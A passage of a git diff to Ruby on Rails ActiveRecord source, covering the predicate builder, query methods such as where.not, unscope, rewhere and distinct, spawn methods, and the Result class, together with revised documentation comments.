+ ranges, values = values.partition { |v| v.is_a?(Range) }
+
+ values_predicate =
+ case values.length
+ when 0 then NullPredicate
+ when 1 then attribute.eq(values.first)
+ else attribute.in(values)
+ end
+
+ unless nils.empty?
+ values_predicate = values_predicate.or(attribute.eq(nil))
+ end
+
+ array_predicates = ranges.map { |range| attribute.between(range) }
+ array_predicates.unshift(values_predicate)
+ array_predicates.inject { |composite, predicate| composite.or(predicate) }
+ end
+
+ module NullPredicate
+ def self.or(other)
+ other
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
new file mode 100644
index 0000000000..063150958a
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+ class PredicateBuilder
+ class RelationHandler # :nodoc:
+ def call(attribute, value)
+ if value.select_values.empty?
+ value = value.select(value.klass.arel_table[value.klass.primary_key])
+ end
+
+ attribute.in(value.arel)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
index 46c0d6206f..ef380abfe8 100644
--- a/activerecord/lib/active_record/relation/query_methods.rb
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -1,21 +1,25 @@
require 'active_support/core_ext/array/wrap'
+require 'active_support/core_ext/string/filters'
+require 'active_model/forbidden_attributes_protection'
module ActiveRecord
module QueryMethods
extend ActiveSupport::Concern
+ include ActiveModel::ForbiddenAttributesProtection
+
# WhereChain objects act as placeholder for queries in which #where does not have any parameter.
- # In this case, #where must be chained with either #not, #like, or #not_like to return a new relation.
+ # In this case, #where must be chained with #not to return a new relation.
class WhereChain
def initialize(scope)
@scope = scope
end
- # Returns a new relation expressing WHERE + NOT condition
- # according to the conditions in the arguments.
+ # Returns a new relation expressing WHERE + NOT condition according to
+ # the conditions in the arguments.
#
- # #not accepts conditions in one of these formats: String, Array, Hash.
- # See #where for more details on each format.
+ # +not+ accepts conditions as a string, array, or hash. See #where for
+ # more details on each format.
#
# User.where.not("name = 'Jon'")
# # SELECT * FROM users WHERE NOT (name = 'Jon')
@@ -31,9 +35,14 @@ module ActiveRecord
#
# User.where.not(name: %w(Ko1 Nobu))
# # SELECT * FROM users WHERE name NOT IN ('Ko1', 'Nobu')
+ #
+ # User.where.not(name: "Jon", role: "admin")
+ # # SELECT * FROM users WHERE name != 'Jon' AND role != 'admin'
def not(opts, *rest)
where_value = @scope.send(:build_where, opts, rest).map do |rel|
case rel
+ when NilClass
+ raise ArgumentError, 'Invalid argument for .where.not(), got nil.'
when Arel::Nodes::In
Arel::Nodes::NotIn.new(rel.left, rel.right)
when Arel::Nodes::Equality
@@ -44,6 +53,8 @@ module ActiveRecord
Arel::Nodes::Not.new(rel)
end
end
+
+ @scope.references!(PredicateBuilder.references(opts)) if Hash === opts
@scope.where_values += where_value
@scope
end
@@ -57,6 +68,7 @@ module ActiveRecord
#
def #{name}_values=(values) # def select_values=(values)
raise ImmutableRelation if @loaded # raise ImmutableRelation if @loaded
+ check_cached_relation
@values[:#{name}] = values # @values[:select] = values
end # end
CODE
@@ -74,11 +86,22 @@ module ActiveRecord
class_eval <<-CODE, __FILE__, __LINE__ + 1
def #{name}_value=(value) # def readonly_value=(value)
raise ImmutableRelation if @loaded # raise ImmutableRelation if @loaded
+ check_cached_relation
@values[:#{name}] = value # @values[:readonly] = value
end # end
CODE
end
+ def check_cached_relation # :nodoc:
+ if defined?(@arel) && @arel
+ @arel = nil
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ Modifying already cached Relation. The cache will be reset. Use a
+ cloned Relation to prevent this warning.
+ MSG
+ end
+ end
+
def create_with_value # :nodoc:
@values[:create_with] || {}
end
@@ -97,6 +120,14 @@ module ActiveRecord
# firing an additional query. This will often result in a
# performance improvement over a simple +join+.
#
+ # You can also specify multiple relationships, like this:
+ #
+ # users = User.includes(:address, :friends)
+ #
+ # Loading nested relationships is possible using a Hash:
+ #
+ # users = User.includes(:address, friends: [:address, :followers])
+ #
# === conditions
#
# If you want to add conditions to your included models you'll have
@@ -107,14 +138,19 @@ module ActiveRecord
# Will throw an error, but this will work:
#
# User.includes(:posts).where('posts.name = ?', 'example').references(:posts)
+ #
+ # Note that +includes+ works with association names while +references+ needs
+ # the actual table name.
def includes(*args)
- args.empty? ? self : spawn.includes!(*args)
+ check_if_method_has_arguments!(:includes, args)
+ spawn.includes!(*args)
end
def includes!(*args) # :nodoc:
- args.reject! {|a| a.blank? }
+ args.reject!(&:blank?)
+ args.flatten!
- self.includes_values = (includes_values + args).flatten.uniq
+ self.includes_values |= args
self
end
@@ -125,7 +161,8 @@ module ActiveRecord
# FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" =
# "users"."id"
def eager_load(*args)
- args.blank? ? self : spawn.eager_load!(*args)
+ check_if_method_has_arguments!(:eager_load, args)
+ spawn.eager_load!(*args)
end
def eager_load!(*args) # :nodoc:
@@ -138,7 +175,8 @@ module ActiveRecord
# User.preload(:posts)
# => SELECT "posts".* FROM "posts" WHERE "posts"."user_id" IN (1, 2, 3)
def preload(*args)
- args.blank? ? self : spawn.preload!(*args)
+ check_if_method_has_arguments!(:preload, args)
+ spawn.preload!(*args)
end
def preload!(*args) # :nodoc:
@@ -146,22 +184,26 @@ module ActiveRecord
self
end
- # Used to indicate that an association is referenced by an SQL string, and should
- # therefore be JOINed in any query rather than loaded separately.
+ # Use to indicate that the given +table_names+ are referenced by an SQL string,
+ # and should therefore be JOINed in any query rather than loaded separately.
+ # This method only works in conjunction with +includes+.
+ # See #includes for more details.
#
# User.includes(:posts).where("posts.name = 'foo'")
# # => Doesn't JOIN the posts table, resulting in an error.
#
# User.includes(:posts).where("posts.name = 'foo'").references(:posts)
# # => Query now knows the string references posts, so adds a JOIN
- def references(*args)
- args.blank? ? self : spawn.references!(*args)
+ def references(*table_names)
+ check_if_method_has_arguments!(:references, table_names)
+ spawn.references!(*table_names)
end
- def references!(*args) # :nodoc:
- args.flatten!
+ def references!(*table_names) # :nodoc:
+ table_names.flatten!
+ table_names.map!(&:to_s)
- self.references_values = (references_values + args.map!(&:to_s)).uniq
+ self.references_values |= table_names
self
end
@@ -178,7 +220,7 @@ module ActiveRecord
# fields are retrieved:
#
# Model.select(:field)
- # # => [#<Model field:value>]
+ # # => [#<Model id: nil, field: "value">]
#
# Although in the above example it looks as though this method returns an
# array, it actually returns a relation object and can have other query
@@ -187,10 +229,20 @@ module ActiveRecord
# The argument to the method can also be an array of fields.
#
# Model.select(:field, :other_field, :and_one_more)
- # # => [#<Model field: "value", other_field: "value", and_one_more: "value">]
+ # # => [#<Model id: nil, field: "value", other_field: "value", and_one_more: "value">]
+ #
+ # You can also use one or more strings, which will be used unchanged as SELECT fields.
+ #
+ # Model.select('field AS field_one', 'other_field AS field_two')
+ # # => [#<Model id: nil, field: "value", other_field: "value">]
+ #
+ # If an alias was specified, it will be accessible from the resulting objects:
+ #
+ # Model.select('field AS field_one').first.field_one
+ # # => "value"
#
# Accessing attributes of an object that do not have fields retrieved by a select
- # will throw <tt>ActiveModel::MissingAttributeError</tt>:
+ # except +id+ will throw <tt>ActiveModel::MissingAttributeError</tt>:
#
# Model.select(:field).first.other_field
# # => ActiveModel::MissingAttributeError: missing attribute: other_field
@@ -199,12 +251,16 @@ module ActiveRecord
to_a.select { |*block_args| yield(*block_args) }
else
raise ArgumentError, 'Call this with at least one field' if fields.empty?
- spawn.select!(*fields)
+ spawn._select!(*fields)
end
end
- def select!(*fields) # :nodoc:
- self.select_values += fields.flatten
+ def _select!(*fields) # :nodoc:
+ fields.flatten!
+ fields.map! do |field|
+ klass.attribute_alias?(field) ? klass.attribute_alias(field) : field
+ end
+ self.select_values += fields
self
end
@@ -220,8 +276,16 @@ module ActiveRecord
#
# User.group(:name)
# => [#<User id: 3, name: "Foo", ...>, #<User id: 2, name: "Oscar", ...>]
+ #
+ # User.group('name AS grouped_name, age')
+ # => [#<User id: 3, name: "Foo", age: 21, ...>, #<User id: 2, name: "Oscar", age: 21, ...>, #<User id: 5, name: "Foo", age: 23, ...>]
+ #
+ # Passing in an array of attributes to group by is also supported.
+ # User.select([:id, :first_name]).group(:id, :first_name).first(3)
+ # => [#<User id: 1, first_name: "Bill">, #<User id: 2, first_name: "Earl">, #<User id: 3, first_name: "Beto">]
def group(*args)
- args.blank? ? self : spawn.group!(*args)
+ check_if_method_has_arguments!(:group, args)
+ spawn.group!(*args)
end
def group!(*args) # :nodoc:
@@ -233,15 +297,6 @@ module ActiveRecord
# Allows to specify an order attribute:
#
- # User.order('name')
- # => SELECT "users".* FROM "users" ORDER BY name
- #
- # User.order('name DESC')
- # => SELECT "users".* FROM "users" ORDER BY name DESC
- #
- # User.order('name DESC, email')
- # => SELECT "users".* FROM "users" ORDER BY name DESC, email
- #
# User.order(:name)
# => SELECT "users".* FROM "users" ORDER BY "users"."name" ASC
#
@@ -250,19 +305,24 @@ module ActiveRecord
#
# User.order(:name, email: :desc)
# => SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
+ #
+ # User.order('name')
+ # => SELECT "users".* FROM "users" ORDER BY name
+ #
+ # User.order('name DESC')
+ # => SELECT "users".* FROM "users" ORDER BY name DESC
+ #
+ # User.order('name DESC, email')
+ # => SELECT "users".* FROM "users" ORDER BY name DESC, email
def order(*args)
- args.blank? ? self : spawn.order!(*args)
+ check_if_method_has_arguments!(:order, args)
+ spawn.order!(*args)
end
def order!(*args) # :nodoc:
- args.flatten!
- validate_order_args args
+ preprocess_order_args(args)
- references = args.reject { |arg| Arel::Node === arg }
- references.map! { |arg| arg =~ /^([a-zA-Z]\w*)\.(\w+)/ && $1 }.compact!
- references!(references) if references.any?
-
- self.order_values = args + self.order_values
+ self.order_values += args
self
end
@@ -274,34 +334,110 @@ module ActiveRecord
#
# User.order('email DESC').reorder('id ASC').order('name ASC')
#
- # generates a query with 'ORDER BY name ASC, id ASC'.
+ # generates a query with 'ORDER BY id ASC, name ASC'.
def reorder(*args)
- args.blank? ? self : spawn.reorder!(*args)
+ check_if_method_has_arguments!(:reorder, args)
+ spawn.reorder!(*args)
end
def reorder!(*args) # :nodoc:
- args.flatten!
- validate_order_args args
+ preprocess_order_args(args)
self.reordering_value = true
self.order_values = args
self
end
+ VALID_UNSCOPING_VALUES = Set.new([:where, :select, :group, :order, :lock,
+ :limit, :offset, :joins, :includes, :from,
+ :readonly, :having])
+
+ # Removes an unwanted relation that is already defined on a chain of relations.
+ # This is useful when passing around chains of relations and would like to
+ # modify the relations without reconstructing the entire chain.
+ #
+ # User.order('email DESC').unscope(:order) == User.all
+ #
+ # The method arguments are symbols which correspond to the names of the methods
+ # which should be unscoped. The valid arguments are given in VALID_UNSCOPING_VALUES.
+ # The method can also be called with multiple arguments. For example:
+ #
+ # User.order('email DESC').select('id').where(name: "John")
+ # .unscope(:order, :select, :where) == User.all
+ #
+ # One can additionally pass a hash as an argument to unscope specific :where values.
+ # This is done by passing a hash with a single key-value pair. The key should be
+ # :where and the value should be the where value to unscope. For example:
+ #
+ # User.where(name: "John", active: true).unscope(where: :name)
+ # == User.where(active: true)
+ #
+ # This method is similar to <tt>except</tt>, but unlike
+ # <tt>except</tt>, it persists across merges:
+ #
+ # User.order('email').merge(User.except(:order))
+ # == User.order('email')
+ #
+ # User.order('email').merge(User.unscope(:order))
+ # == User.all
+ #
+ # This means it can be used in association definitions:
+ #
+ # has_many :comments, -> { unscope where: :trashed }
+ #
+ def unscope(*args)
+ check_if_method_has_arguments!(:unscope, args)
+ spawn.unscope!(*args)
+ end
+
+ def unscope!(*args) # :nodoc:
+ args.flatten!
+ self.unscope_values += args
+
+ args.each do |scope|
+ case scope
+ when Symbol
+ symbol_unscoping(scope)
+ when Hash
+ scope.each do |key, target_value|
+ if key != :where
+ raise ArgumentError, "Hash arguments in .unscope(*args) must have :where as the key."
+ end
+
+ Array(target_value).each do |val|
+ where_unscoping(val)
+ end
+ end
+ else
+ raise ArgumentError, "Unrecognized scoping: #{args.inspect}. Use .unscope(where: :attribute_name) or .unscope(:order), for example."
+ end
+ end
+
+ self
+ end
+
# Performs a joins on +args+:
#
# User.joins(:posts)
# => SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id"
+ #
+ # You can use strings in order to customize your joins:
+ #
+ # User.joins("LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id")
+ # => SELECT "users".* FROM "users" LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id
def joins(*args)
- args.compact.blank? ? self : spawn.joins!(*args.flatten)
+ check_if_method_has_arguments!(:joins, args)
+ spawn.joins!(*args)
end
def joins!(*args) # :nodoc:
+ args.compact!
+ args.flatten!
self.joins_values += args
self
end
- def bind(value)
+ def bind(value) # :nodoc:
spawn.bind!(value)
end
@@ -320,7 +456,7 @@ module ActiveRecord
# === string
#
# A single string, without additional arguments, is passed to the query
- # constructor as a SQL fragment, and used in the where clause of the query.
+ # constructor as an SQL fragment, and used in the where clause of the query.
#
# Client.where("orders_count = '2'")
# # SELECT * from clients where orders_count = '2';
@@ -439,17 +575,26 @@ module ActiveRecord
end
end
- # #where! is identical to #where, except that instead of returning a new relation, it adds
- # the condition to the existing relation.
- def where!(opts = :chain, *rest) # :nodoc:
- if opts == :chain
- WhereChain.new(self)
- else
- references!(PredicateBuilder.references(opts)) if Hash === opts
-
- self.where_values += build_where(opts, rest)
- self
+ def where!(opts, *rest) # :nodoc:
+ if Hash === opts
+ opts = sanitize_forbidden_attributes(opts)
+ references!(PredicateBuilder.references(opts))
end
+
+ self.where_values += build_where(opts, rest)
+ self
+ end
+
+ # Allows you to change a previously set where condition for a given attribute, instead of appending to that condition.
+ #
+ # Post.where(trashed: true).where(trashed: false) # => WHERE `trashed` = 1 AND `trashed` = 0
+ # Post.where(trashed: true).rewhere(trashed: false) # => WHERE `trashed` = 0
+ # Post.where(active: true).where(trashed: true).rewhere(trashed: false) # => WHERE `active` = 1 AND `trashed` = 0
+ #
+ # This is short-hand for unscope(where: conditions.keys).where(conditions). Note that unlike reorder, we're only unscoping
+ # the named conditions -- not the entire where statement.
+ def rewhere(conditions)
+ unscope(where: conditions.keys).where(conditions)
end
# Allows to specify a HAVING clause. Note that you can't use HAVING
@@ -514,12 +659,11 @@ module ActiveRecord
self
end
- # Returns a chainable relation with zero records, specifically an
- # instance of the <tt>ActiveRecord::NullRelation</tt> class.
+ # Returns a chainable relation with zero records.
#
- # The returned <tt>ActiveRecord::NullRelation</tt> inherits from Relation and implements the
- # Null Object pattern. It is an object with defined null behavior and always returns an empty
- # array of records without quering the database.
+ # The returned relation implements the Null Object pattern. It is an
+ # object with defined null behavior and always returns an empty array of
+ # records without querying the database.
#
# Any subsequent condition chained to the returned relation will continue
# generating an empty relation and will not fire any query to the database.
@@ -539,16 +683,16 @@ module ActiveRecord
# when 'Reviewer'
# Post.published
# when 'Bad User'
- # Post.none # => returning [] instead breaks the previous code
+ # Post.none # It can't be chained if [] is returned.
# end
# end
#
def none
- extending(NullRelation)
+ where("1=0").extending!(NullRelation)
end
def none! # :nodoc:
- extending!(NullRelation)
+ where!("1=0").extending!(NullRelation)
end
# Sets readonly attributes for the returned relation. If value is
@@ -584,14 +728,20 @@ module ActiveRecord
end
def create_with!(value) # :nodoc:
- self.create_with_value = value ? create_with_value.merge(value) : {}
+ if value
+ value = sanitize_forbidden_attributes(value)
+ self.create_with_value = create_with_value.merge(value)
+ else
+ self.create_with_value = {}
+ end
+
self
end
# Specifies table from which the records will be fetched. For example:
#
# Topic.select('title').from('posts')
- # #=> SELECT title FROM posts
+ # # => SELECT title FROM posts
#
# Can accept other relation objects. For example:
#
@@ -605,7 +755,6 @@ module ActiveRecord
spawn.from!(value, subquery_name)
end
- # Like #from, but modifies relation in place.
def from!(value, subquery_name = nil) # :nodoc:
self.from_value = [value, subquery_name]
self
@@ -616,20 +765,22 @@ module ActiveRecord
# User.select(:name)
# # => Might return two records with the same name
#
- # User.select(:name).uniq
- # # => Returns 1 record per unique name
+ # User.select(:name).distinct
+ # # => Returns 1 record per distinct name
#
- # User.select(:name).uniq.uniq(false)
+ # User.select(:name).distinct.distinct(false)
# # => You can also remove the uniqueness
- def uniq(value = true)
- spawn.uniq!(value)
+ def distinct(value = true)
+ spawn.distinct!(value)
end
+ alias uniq distinct
- # Like #uniq, but modifies relation in place.
- def uniq!(value = true) # :nodoc:
- self.uniq_value = value
+ # Like #distinct, but modifies relation in place.
+ def distinct!(value = true) # :nodoc:
+ self.distinct_value = value
self
end
+ alias uniq! distinct!
# Used to extend a scope with additional methods, either through
# a module or through a block provided.
@@ -676,9 +827,10 @@ module ActiveRecord
end
def extending!(*modules, &block) # :nodoc:
- modules << Module.new(&block) if block_given?
+ modules << Module.new(&block) if block
+ modules.flatten!
- self.extending_values += modules.flatten
+ self.extending_values += modules
extend(*extending_values) if extending_values.any?
self
@@ -692,51 +844,84 @@ module ActiveRecord
end
def reverse_order! # :nodoc:
- self.reverse_order_value = !reverse_order_value
+ orders = order_values.uniq
+ orders.reject!(&:blank?)
+ self.order_values = reverse_sql_order(orders)
self
end
# Returns the Arel object associated with the relation.
- def arel
- @arel ||= with_default_scope.build_arel
+ def arel # :nodoc:
+ @arel ||= build_arel
end
- # Like #arel, but ignores the default scope of the model.
+ private
+
def build_arel
- arel = Arel::SelectManager.new(table.engine, table)
+ arel = Arel::SelectManager.new(table)
- build_joins(arel, joins_values) unless joins_values.empty?
+ build_joins(arel, joins_values.flatten) unless joins_values.empty?
- collapse_wheres(arel, (where_values - ['']).uniq)
+ collapse_wheres(arel, (where_values - [''])) #TODO: Add uniq with real value comparison / ignore uniqs that have binds
- arel.having(*having_values.uniq.reject{|h| h.blank?}) unless having_values.empty?
+ arel.having(*having_values.uniq.reject(&:blank?)) unless having_values.empty?
arel.take(connection.sanitize_limit(limit_value)) if limit_value
arel.skip(offset_value.to_i) if offset_value
- arel.group(*group_values.uniq.reject{|g| g.blank?}) unless group_values.empty?
+ arel.group(*group_values.uniq.reject(&:blank?)) unless group_values.empty?
build_order(arel)
build_select(arel, select_values.uniq)
- arel.distinct(uniq_value)
+ arel.distinct(distinct_value)
arel.from(build_from) if from_value
arel.lock(lock_value) if lock_value
arel
end
- private
+ def symbol_unscoping(scope)
+ if !VALID_UNSCOPING_VALUES.include?(scope)
+ raise ArgumentError, "Called unscope() with invalid unscoping argument ':#{scope}'. Valid arguments are :#{VALID_UNSCOPING_VALUES.to_a.join(", :")}."
+ end
+
+ single_val_method = Relation::SINGLE_VALUE_METHODS.include?(scope)
+ unscope_code = "#{scope}_value#{'s' unless single_val_method}="
+
+ case scope
+ when :order
+ result = []
+ when :where
+ self.bind_values = []
+ else
+ result = [] unless single_val_method
+ end
+
+ self.send(unscope_code, result)
+ end
+
+ def where_unscoping(target_value)
+ target_value = target_value.to_s
+
+ where_values.reject! do |rel|
+ case rel
+ when Arel::Nodes::Between, Arel::Nodes::In, Arel::Nodes::NotIn, Arel::Nodes::Equality, Arel::Nodes::NotEqual, Arel::Nodes::LessThanOrEqual, Arel::Nodes::GreaterThanOrEqual
+ subrelation = (rel.left.kind_of?(Arel::Attributes::Attribute) ? rel.left : rel.right)
+ subrelation.name.to_s == target_value
+ end
+ end
+
+ bind_values.reject! { |col,_| col.name == target_value }
+ end
def custom_join_ast(table, joins)
- joins = joins.reject { |join| join.blank? }
+ joins = joins.reject(&:blank?)
return [] if joins.empty?
- @implicit_readonly = true
-
- joins.map do |join|
+ joins.map! do |join|
case join
when Array
join = Arel.sql(join.join(' ')) if array_of_strings?(join)
@@ -748,14 +933,13 @@ module ActiveRecord
end
def collapse_wheres(arel, wheres)
- equalities = wheres.grep(Arel::Nodes::Equality)
-
- arel.where(Arel::Nodes::And.new(equalities)) unless equalities.empty?
-
- (wheres - equalities).each do |where|
+ predicates = wheres.map do |where|
+ next where if ::Arel::Nodes::Equality === where
where = Arel.sql(where) if String === where
- arel.where(Arel::Nodes::Grouping.new(where))
+ Arel::Nodes::Grouping.new(where)
end
+
+ arel.where(Arel::Nodes::And.new(predicates)) if predicates.present?
end
def build_where(opts, other = [])
@@ -763,18 +947,66 @@ module ActiveRecord
when String, Array
[@klass.send(:sanitize_sql, other.empty? ? opts : ([opts] + other))]
when Hash
- attributes = @klass.send(:expand_hash_conditions_for_aggregates, opts)
- PredicateBuilder.build_from_hash(klass, attributes, table)
+ opts = predicate_builder.resolve_column_aliases(opts)
+
+ tmp_opts, bind_values = create_binds(opts)
+ self.bind_values += bind_values
+
+ attributes = @klass.send(:expand_hash_conditions_for_aggregates, tmp_opts)
+ add_relations_to_bind_values(attributes)
+
+ predicate_builder.build_from_hash(attributes)
else
[opts]
end
end
+ def create_binds(opts)
+ bindable, non_binds = opts.partition do |column, value|
+ case value
+ when String, Integer, ActiveRecord::StatementCache::Substitute
+ @klass.columns_hash.include? column.to_s
+ else
+ false
+ end
+ end
+
+ association_binds, non_binds = non_binds.partition do |column, value|
+ value.is_a?(Hash) && association_for_table(column)
+ end
+
+ new_opts = {}
+ binds = []
+
+ bindable.each do |(column,value)|
+ binds.push [@klass.columns_hash[column.to_s], value]
+ new_opts[column] = connection.substitute_at(column)
+ end
+
+ association_binds.each do |(column, value)|
+ association_relation = association_for_table(column).klass.send(:relation)
+ association_new_opts, association_bind = association_relation.send(:create_binds, value)
+ new_opts[column] = association_new_opts
+ binds += association_bind
+ end
+
+ non_binds.each { |column,value| new_opts[column] = value }
+
+ [new_opts, binds]
+ end
+
+ def association_for_table(table_name)
+ table_name = table_name.to_s
+ @klass._reflect_on_association(table_name) ||
+ @klass._reflect_on_association(table_name.singularize)
+ end
+
def build_from
opts, name = from_value
case opts
when Relation
name ||= 'subquery'
+ self.bind_values = opts.bind_values + self.bind_values
opts.arel.as(name.to_s)
else
opts
@@ -788,7 +1020,7 @@ module ActiveRecord
:string_join
when Hash, Symbol, Array
:association_join
- when ActiveRecord::Associations::JoinDependency::JoinAssociation
+ when ActiveRecord::Associations::JoinDependency
:stashed_join
when Arel::Nodes::Join
:join_node
@@ -800,9 +1032,7 @@ module ActiveRecord
association_joins = buckets[:association_join] || []
stashed_association_joins = buckets[:stashed_join] || []
join_nodes = (buckets[:join_node] || []).uniq
- string_joins = (buckets[:string_join] || []).map { |x|
- x.strip
- }.uniq
+ string_joins = (buckets[:string_join] || []).map(&:strip).uniq
join_list = join_nodes + custom_join_ast(manager, string_joins)
@@ -812,24 +1042,29 @@ module ActiveRecord
join_list
)
- join_dependency.graft(*stashed_association_joins)
-
- @implicit_readonly = true unless association_joins.empty? && stashed_association_joins.empty?
+ join_infos = join_dependency.join_constraints stashed_association_joins
- # FIXME: refactor this to build an AST
- join_dependency.join_associations.each do |association|
- association.join_to(manager)
+ join_infos.each do |info|
+ info.joins.each { |join| manager.from(join) }
+ manager.bind_values.concat info.binds
end
- manager.join_sources.concat join_list
+ manager.join_sources.concat(join_list)
manager
end
def build_select(arel, selects)
- unless selects.empty?
- @implicit_readonly = false
- arel.project(*selects)
+ if !selects.empty?
+ expanded_select = selects.map do |field|
+ if (Symbol === field || String === field) && columns_hash.key?(field.to_s)
+ arel_table[field]
+ else
+ field
+ end
+ end
+
+ arel.project(*expanded_select)
else
arel.project(@klass.arel_table[Arel.star])
end
@@ -843,16 +1078,10 @@ module ActiveRecord
when Arel::Nodes::Ordering
o.reverse
when String
- o.to_s.split(',').collect do |s|
+ o.to_s.split(',').map! do |s|
s.strip!
s.gsub!(/\sasc\Z/i, ' DESC') || s.gsub!(/\sdesc\Z/i, ' ASC') || s.concat(' DESC')
end
- when Symbol
- { o => :desc }
- when Hash
- o.each_with_object({}) do |(field, dir), memo|
- memo[field] = (dir == :asc ? :desc : :asc )
- end
else
o
end
@@ -860,34 +1089,88 @@ module ActiveRecord
end
def array_of_strings?(o)
- o.is_a?(Array) && o.all?{|obj| obj.is_a?(String)}
+ o.is_a?(Array) && o.all? { |obj| obj.is_a?(String) }
end
def build_order(arel)
- orders = order_values
- orders = reverse_sql_order(orders) if reverse_order_value
+ orders = order_values.uniq
+ orders.reject!(&:blank?)
+
+ arel.order(*orders) unless orders.empty?
+ end
+
+ VALID_DIRECTIONS = [:asc, :desc, :ASC, :DESC,
+ 'asc', 'desc', 'ASC', 'DESC'] # :nodoc:
- orders = orders.uniq.reject(&:blank?).flat_map do |order|
- case order
+ def validate_order_args(args)
+ args.each do |arg|
+ next unless arg.is_a?(Hash)
+ arg.each do |_key, value|
+ raise ArgumentError, "Direction \"#{value}\" is invalid. Valid " \
+ "directions are: #{VALID_DIRECTIONS.inspect}" unless VALID_DIRECTIONS.include?(value)
+ end
+ end
+ end
+
+ def preprocess_order_args(order_args)
+ order_args.flatten!
+ validate_order_args(order_args)
+
+ references = order_args.grep(String)
+ references.map! { |arg| arg =~ /^([a-zA-Z]\w*)\.(\w+)/ && $1 }.compact!
+ references!(references) if references.any?
+
+ # if a symbol is given we prepend the quoted table name
+ order_args.map! do |arg|
+ case arg
when Symbol
- table[order].asc
+ arg = klass.attribute_alias(arg) if klass.attribute_alias?(arg)
+ table[arg].asc
when Hash
- order.map { |field, dir| table[field].send(dir) }
+ arg.map { |field, dir|
+ field = klass.attribute_alias(field) if klass.attribute_alias?(field)
+ table[field].send(dir.downcase)
+ }
else
- order
+ arg
end
- end
+ end.flatten!
+ end
- arel.order(*orders) unless orders.empty?
+ # Checks to make sure that the arguments are not blank. Note that if some
+ # blank-like object were initially passed into the query method, then this
+ # method will not raise an error.
+ #
+ # Example:
+ #
+ # Post.references() # => raises an error
+ # Post.references([]) # => does not raise an error
+ #
+ # This particular method should be called with a method_name and the args
+ # passed into that method as an input. For example:
+ #
+ # def references(*args)
+ # check_if_method_has_arguments!("references", args)
+ # ...
+ # end
+ def check_if_method_has_arguments!(method_name, args)
+ if args.blank?
+ raise ArgumentError, "The method .#{method_name}() must contain arguments."
+ end
end
- def validate_order_args(args)
- args.select { |a| Hash === a }.each do |h|
- unless (h.values - [:asc, :desc]).empty?
- raise ArgumentError, 'Direction should be :asc or :desc'
+ # This function is recursive just for better readablity.
+ # #where argument doesn't support more than one level nested hash in real world.
+ def add_relations_to_bind_values(attributes)
+ if attributes.is_a?(Hash)
+ attributes.each_value do |value|
+ if value.is_a?(ActiveRecord::Relation)
+ self.bind_values += value.bind_values
+ else
+ add_relations_to_bind_values(value)
+ end
end
end
end
-
end
end
diff --git a/activerecord/lib/active_record/relation/spawn_methods.rb b/activerecord/lib/active_record/relation/spawn_methods.rb
index d417e82548..57d66bce4b 100644
--- a/activerecord/lib/active_record/relation/spawn_methods.rb
+++ b/activerecord/lib/active_record/relation/spawn_methods.rb
@@ -50,10 +50,7 @@ module ActiveRecord
# Post.order('id asc').except(:order) # discards the order condition
# Post.where('id > 10').order('id asc').except(:where) # discards the where condition but keeps the order
def except(*skips)
- result = Relation.new(klass, table, values.except(*skips))
- result.default_scoped = default_scoped
- result.extend(*extending_values) if extending_values.any?
- result
+ relation_with values.except(*skips)
end
# Removes any condition from the query other than the one(s) specified in +onlies+.
@@ -61,11 +58,18 @@ module ActiveRecord
# Post.order('id asc').only(:where) # discards the order condition
# Post.order('id asc').only(:where, :order) # uses the specified order
def only(*onlies)
- result = Relation.new(klass, table, values.slice(*onlies))
- result.default_scoped = default_scoped
- result.extend(*extending_values) if extending_values.any?
- result
+ if onlies.any? { |o| o == :where }
+ onlies << :bind
+ end
+ relation_with values.slice(*onlies)
end
+ private
+
+ def relation_with(values) # :nodoc:
+ result = Relation.create(klass, table, values)
+ result.extend(*extending_values) if extending_values.any?
+ result
+ end
end
end
diff --git a/activerecord/lib/active_record/result.rb b/activerecord/lib/active_record/result.rb
index bea195e9b8..3a3e65ef32 100644
--- a/activerecord/lib/active_record/result.rb
+++ b/activerecord/lib/active_record/result.rb
@@ -3,11 +3,36 @@ module ActiveRecord
# This class encapsulates a Result returned from calling +exec_query+ on any
# database connection adapter. For example:
#
- # x = ActiveRecord::Base.connection.exec_query('SELECT * FROM foo')
- # x # => #<ActiveRecord::Result:0xdeadbeef>
+ # result = ActiveRecord::Base.connection.exec_query('SELECT id, title, body FROM posts')
+ # result # => #<ActiveRecord::Result:0xdeadbeef>
+ #
+ # # Get the column names of the result:
+ # result.columns
+ # # => ["id", "title", "body"]
+ #
+ # # Get the record values of the result:
+ # result.rows
+ # # => [[1, "title_1", "body_1"],
+ # [2, "title_2", "body_2"],
+ # ...
+ # ]
+ #
+ # # Get an array of hashes representing the result (column => value):
+ # result.to_hash
+ # # => [{"id" => 1, "title" => "title_1", "body" => "body_1"},
+ # {"id" => 2, "title" => "title_2", "body" => "body_2"},
+ # ...
+ # ]
+ #
+ # # ActiveRecord::Result also includes Enumerable.
+ # result.each do |row|
+ # puts row['title'] + " " + row['body']
+ # end
class Result
include Enumerable
+ IDENTITY_TYPE = Type::Value.new # :nodoc:
+
attr_reader :columns, :rows, :column_types
def initialize(columns, rows, column_types = {})
@@ -17,8 +42,16 @@ module ActiveRecord
@column_types = column_types
end
+ def length
+ @rows.length
+ end
+
def each
- hash_rows.each { |row| yield row }
+ if block_given?
+ hash_rows.each { |row| yield row }
+ else
+ hash_rows.to_enum { @rows.size }
+ end
end
def to_hash
@@ -45,13 +78,30 @@ module ActiveRecord
hash_rows.last
end
+ def cast_values(type_overrides = {}) # :nodoc:
+ types = columns.map { |name| column_type(name, type_overrides) }
+ result = rows.map do |values|
+ types.zip(values).map { |type, value| type.type_cast_from_database(value) }
+ end
+
+ columns.one? ? result.map!(&:first) : result
+ end
+
